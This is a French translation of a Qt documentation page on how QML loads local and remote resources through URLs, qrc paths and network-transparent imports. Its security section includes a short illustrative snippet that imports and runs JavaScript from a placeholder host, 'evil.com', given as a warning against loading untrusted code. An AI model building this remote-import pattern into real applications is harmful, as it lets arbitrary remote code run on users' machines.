Chargement des ressources et transparence du réseau
QML prend en charge la transparence du réseau en utilisant des URL (plutôt que des noms de fichiers) pour toutes les références d'un document QML à un autre contenu. Cela signifie que partout où une source URL est attendue, QML peut gérer les ressources distantes aussi bien que les ressources locales, par exemple dans l'image source suivante :
Image { source: "http://www.example.com/images/logo.png" }
Étant donné qu'une URL relative est la même chose qu'un fichier relatif, le développement de QML sur des systèmes de fichiers ordinaires reste simple :
Image { source: "images/logo.png" }
La transparence du réseau est prise en charge dans tout le QML, par exemple, les éléments FontLoader et Image prennent en charge le chargement de ressources à partir d'un serveur distant.
Les types QML eux-mêmes peuvent se trouver sur le réseau : si l'outil qml est utilisé pour charger http://example.com/mystuff/Hello.qml et que ce contenu fait référence à un type "World", le moteur chargera http://example.com/mystuff/qmldir et résoudra le type comme il le ferait pour un fichier local. Par exemple, si le fichier qmldir contient la ligne "World World.qml", il chargera http://example.com/mystuff/World.qml. Toutes les autres ressources auxquelles Hello.qml fait référence, généralement par une URL relative, seront également chargées à partir du réseau.
URL relatifs et absolus
Lorsqu'un objet possède une propriété de type URL (QUrl), l'affectation d'une chaîne à cette propriété permet en fait d'affecter une URL absolue - en résolvant la chaîne par rapport à l'URL du document dans lequel la chaîne est utilisée.
Par exemple, considérons ce contenu dans http://example.com/mystuff/test.qml:
Image { source: "images/logo.png" }
La propriété source Image sera assignée à http://example.com/mystuff/images/logo.png, mais pendant que le QML est en cours de développement, disons dans C:\User\Fred\Documents\MyStuff\test.qml, elle sera assignée à C:\User\Fred\Documents\MyStuff\images\logo.png.
Si la chaîne attribuée à une URL est déjà une URL absolue, la "résolution" ne la modifie pas et l'URL est attribuée directement.
Ressources QRC
L'un des schémas d'URL intégrés à Qt est le schéma "qrc". Il permet de compiler du contenu dans l'exécutable à l'aide du système de ressources Qt. Ainsi, un exécutable peut faire référence à un contenu QML compilé dans l'exécutable :
QQuickView *view = new QQuickView; view->setUrl(QUrl("qrc:/dial.qml"));
Le contenu lui-même peut alors utiliser des URL relatives, et ainsi ignorer de manière transparente que le contenu est compilé dans l'exécutable.
Limitations
L'instruction import n'est transparente pour le réseau que si elle comporte une clause "as".
Plus précisément :
import "dir"ne fonctionne que sur les systèmes de fichiers locauximport libraryUrine fonctionne que sur les systèmes de fichiers locauximport "dir" as Dfonctionne de manière transparente sur le réseauimport libraryUrl as Ufonctionne de manière transparente pour le réseau
Implications pour la sécurité des applications
Le modèle de sécurité de QML est que le contenu QML est une chaîne de contenu de confiance : l'utilisateur installe le contenu QML auquel il fait confiance de la même manière qu'il installe des applications natives de Qtml, ou des programmes écrits avec des runtimes tels que Python et Perl. Cette confiance est établie par un certain nombre de mécanismes, y compris la disponibilité de la signature des paquets sur certaines plateformes.
Afin de préserver la confiance des utilisateurs, les développeurs d'applications QML ne doivent pas charger et exécuter des ressources JavaScript ou QML arbitraires. Prenons par exemple le code QML ci-dessous :
import QtQuick 2.0 import "http://evil.com/evil.js" as Evil Component { onLoaded: Evil.doEvil() }
Cela équivaut à télécharger et à exécuter "http://evil.com/evil.exe". Le moteur QML n'empêchera pas le chargement de ressources particulières. Contrairement au code JavaScript exécuté dans un navigateur web, une application QML peut charger des ressources locales ou distantes du système de fichiers de la même manière que n'importe quelle autre application native ; les développeurs d'applications doivent donc faire preuve de prudence lors du chargement et de l'exécution de tout contenu.
Comme toute application accédant à d'autres contenus échappant à son contrôle, une application QML doit effectuer des vérifications appropriées sur toutes les données non fiables qu'elle charge. N'utilisez pas, par exemple, import, Loader ou XMLHttpRequest pour charger un code ou un contenu non fiable.
© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.